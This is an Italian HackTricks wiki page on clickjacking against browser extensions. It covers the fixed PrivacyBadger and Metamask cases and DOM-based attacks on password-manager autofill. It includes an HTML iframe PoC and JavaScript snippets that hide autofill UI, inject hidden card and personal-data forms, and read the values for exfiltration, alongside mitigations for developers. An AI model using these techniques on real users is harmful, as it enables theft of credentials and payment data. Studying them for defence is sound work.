BrowExt - ClickJacking
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Questa pagina sfrutterà una vulnerabilità di ClickJacking in un'estensione del browser.
Se non sai cos'è il ClickJacking controlla:
Le estensioni contengono il file manifest.json
e quel file JSON ha un campo web_accessible_resources
. Ecco cosa dicono i the Chrome docs a riguardo:
Queste risorse sarebbero quindi disponibili in una pagina web tramite l'URL
chrome-extension://[PACKAGE ID]/[PATH]
, che può essere generato con il metodoextension.getURL
. Le risorse allowlisted sono servite con gli appropriati header CORS, quindi sono disponibili tramite meccanismi come XHR.1
Le web_accessible_resources
in un'estensione del browser non sono solo accessibili via web; operano anche con i privilegi intrinseci dell'estensione. Questo significa che hanno la capacità di:
- Modificare lo stato dell'estensione
- Caricare risorse aggiuntive
- Interagire con il browser entro certi limiti
Tuttavia, questa funzionalità rappresenta un rischio per la sicurezza. Se una risorsa all'interno di web_accessible_resources
ha qualche funzionalità significativa, un attacker potrebbe potenzialmente incorporare questa risorsa in una pagina web esterna. Utenti ignari che visitano quella pagina potrebbero inavvertitamente attivare questa risorsa incorporata. Tale attivazione potrebbe portare a conseguenze non intenzionali, a seconda delle permissions e delle capacità delle risorse dell'estensione.
PrivacyBadger Example
Nell'estensione PrivacyBadger è stata identificata una vulnerabilità relativa alla directory skin/
dichiarata come web_accessible_resources
nel seguente modo (Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Questa configurazione ha portato a un potenziale problema di sicurezza. Nello specifico, il file skin/popup.html
, che viene renderizzato quando si interagisce con l'icona di PrivacyBadger nel browser, poteva essere incorporato all'interno di un iframe
. Questo embedding poteva essere sfruttato per indurre gli utenti a cliccare involontariamente su "Disable PrivacyBadger for this Website". Tale azione avrebbe compromesso la privacy dell'utente disabilitando la protezione di PrivacyBadger e potenzialmente esponendo l'utente a un aumento del tracciamento. Una dimostrazione visiva di questo exploit può essere vista in un esempio video ClickJacking disponibile su https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Per risolvere questa vulnerabilità è stata implementata una soluzione semplice: la rimozione di /skin/*
dall'elenco di web_accessible_resources
. Questa modifica ha mitigato efficacemente il rischio assicurando che il contenuto della directory skin/
non potesse essere accessibile o manipolato tramite web-accessible resources.
La correzione è stata semplice: rimuovere /skin/*
da web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Esempio Metamask
Un post sul blog riguardo a ClickJacking in metamask è disponibile qui. In questo caso, Metamask ha risolto la vulnerabilità verificando che il protocollo usato per accedervi fosse https:
o http:
(non chrome:
, per esempio):
.png)
Another ClickJacking fixed nell'estensione Metamask riguardava la possibilità per gli utenti di Click to whitelist quando una pagina era sospettata di essere phishing a causa di “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Poiché quella pagina era vulnerabile a Clickjacking, un attaccante poteva abusarne mostrando qualcosa di innocuo per indurre la vittima a clickare per whitelistarla senza accorgersene, per poi tornare alla pagina di phishing che sarebbe stata whitelisted.
Esempio Steam Inventory Helper
Consulta la pagina seguente per vedere come una XSS in un'estensione del browser sia stata concatenata con una vulnerabilità ClickJacking:
DOM-based Extension Clickjacking (Autofill UI dei Password Manager)
Il clickjacking classico sulle extension sfrutta web_accessible_resources
mal configurate per iframe-are HTML privilegiati e forzare i click degli utenti. Una classe più recente, DOM-based extension clickjacking, prende di mira i menu a discesa di autofill iniettati dai gestori di password direttamente nel DOM della pagina e usa trucchi CSS/DOM per nasconderli o occluderli mantenendoli cliccabili. Un singolo click forzato può selezionare un elemento salvato e riempire campi controllati dall'attaccante con dati sensibili.
Modello di minaccia
- L'attaccante controlla una pagina web (o ottiene XSS/subdomain takeover/cache poisoning su un dominio correlato).
- La vittima ha installato e sbloccato un'estensione password manager (alcuni autofill si attivano anche quando nominalmente bloccati).
- Viene indotto almeno un click dell'utente (cookie banner sovrapposti, dialog, CAPTCHA, giochi, ecc.).
Flusso d'attacco (autofill manuale)
- Iniettare un form invisibile ma focalizzabile (campi login/PII/carta di credito).
- Focalizzare un input per evocare il dropdown di autofill dell'estensione vicino al campo.
- Nascondere o occludere l'UI dell'estensione mantenendola però interagibile.
- Allineare un controllo credibile sotto il dropdown nascosto per indurre un click che selezioni un elemento.
- Leggere i valori inseriti nel form dell'attaccante ed esfiltrarli.
Come nascondere l'UI di autofill
- Elemento dell'estensione
- Opacità dell'elemento root (generico):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Child all'interno di open ShadowRoot (tag dinamico, nascondi iframe interno):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Elemento padre
- BODY/HTML trucchi di opacità per rendere invisibile l'UI dell'estensione mentre la pagina sembra normale (es., sfondo dello screenshot):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Sovrapposizione
- Sovrapposizione parziale: oscurare tutto tranne pochi pixel così il dropdown rimane cliccabile (assicurarsi che l'overlay dell'attaccante sia l'ultimo nel DOM con z-index massimo, oppure usare Top Layer).
- Sovrapposizione completa usando pointer-events:none così i click passano attraverso al dropdown nascosto; mantenerla persistente con la Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Posizionamento del click della vittima
- Posizionamento fisso: posiziona il menu a discesa nascosto sotto un controllo credibile come “Accetta i cookie”, “Chiudi” o una casella CAPTCHA.
- Segui il mouse: sposta l'input focalizzato sotto il cursore in modo che il menu a discesa lo segua; rifocalizza periodicamente in modo che un singolo click ovunque selezioni un elemento:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Impatto e scenari
- Sito controllato dall'attaccante: un singolo click forzato può esfiltrare dati di carta di credito (numero/scadenza/CVC) e informazioni personali (nome, email, telefono, indirizzo, data di nascita (DOB)) che non sono limitate al dominio.
- Sito affidabile con XSS/subdomain takeover/cache poisoning: furto multi-click di credenziali (username/password) e TOTP, perché molti password manager eseguono autofill tra sottodomini correlati/domini parent (es.,
*.example.com
). - Passkeys: se l'RP non lega le sfide WebAuthn alla sessione, XSS può intercettare l'assertion firmata; il clickjacking basato sul DOM nasconde il prompt della passkey per indurre il click di conferma dell'utente.
Limitazioni
- Richiede almeno un click dell'utente e un buon allineamento dei pixel (overlay realistici rendono facile sollecitare i click).
- Auto-lock/logout riducono le finestre di sfruttamento; alcuni manager comunque eseguono autofill anche quando sono “locked”.
Mitigazioni per gli sviluppatori di estensioni
- Renderizza l'autofill UI nel Top Layer (Popover API) o comunque assicurati che si trovi sopra lo stacking della pagina; evita che venga coperta da overlay controllati dalla pagina.
- Resisti alla manomissione del CSS: preferisci Closed Shadow DOM e monitora con
MutationObserver
eventuali cambiamenti di stile sospetti sulle radici UI. - Rileva overlay ostili prima del riempimento: enumera altri elementi top-layer/popover, disabilita temporaneamente
pointer-events:none
e usaelementsFromPoint()
per rilevare l'occlusione; chiudi l'UI se esistono overlay. - Rileva cambiamenti sospetti di opacity o di stile su
<body>
/<html>
sia prima che dopo il render. - Per problemi basati su iframe: limita strettamente i
matches
di MV3web_accessible_resources
ed evita di esporre UI HTML; per HTML inevitabile, inviaX-Frame-Options: DENY
oContent-Security-Policy: frame-ancestors 'none'
.
Riferimenti
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.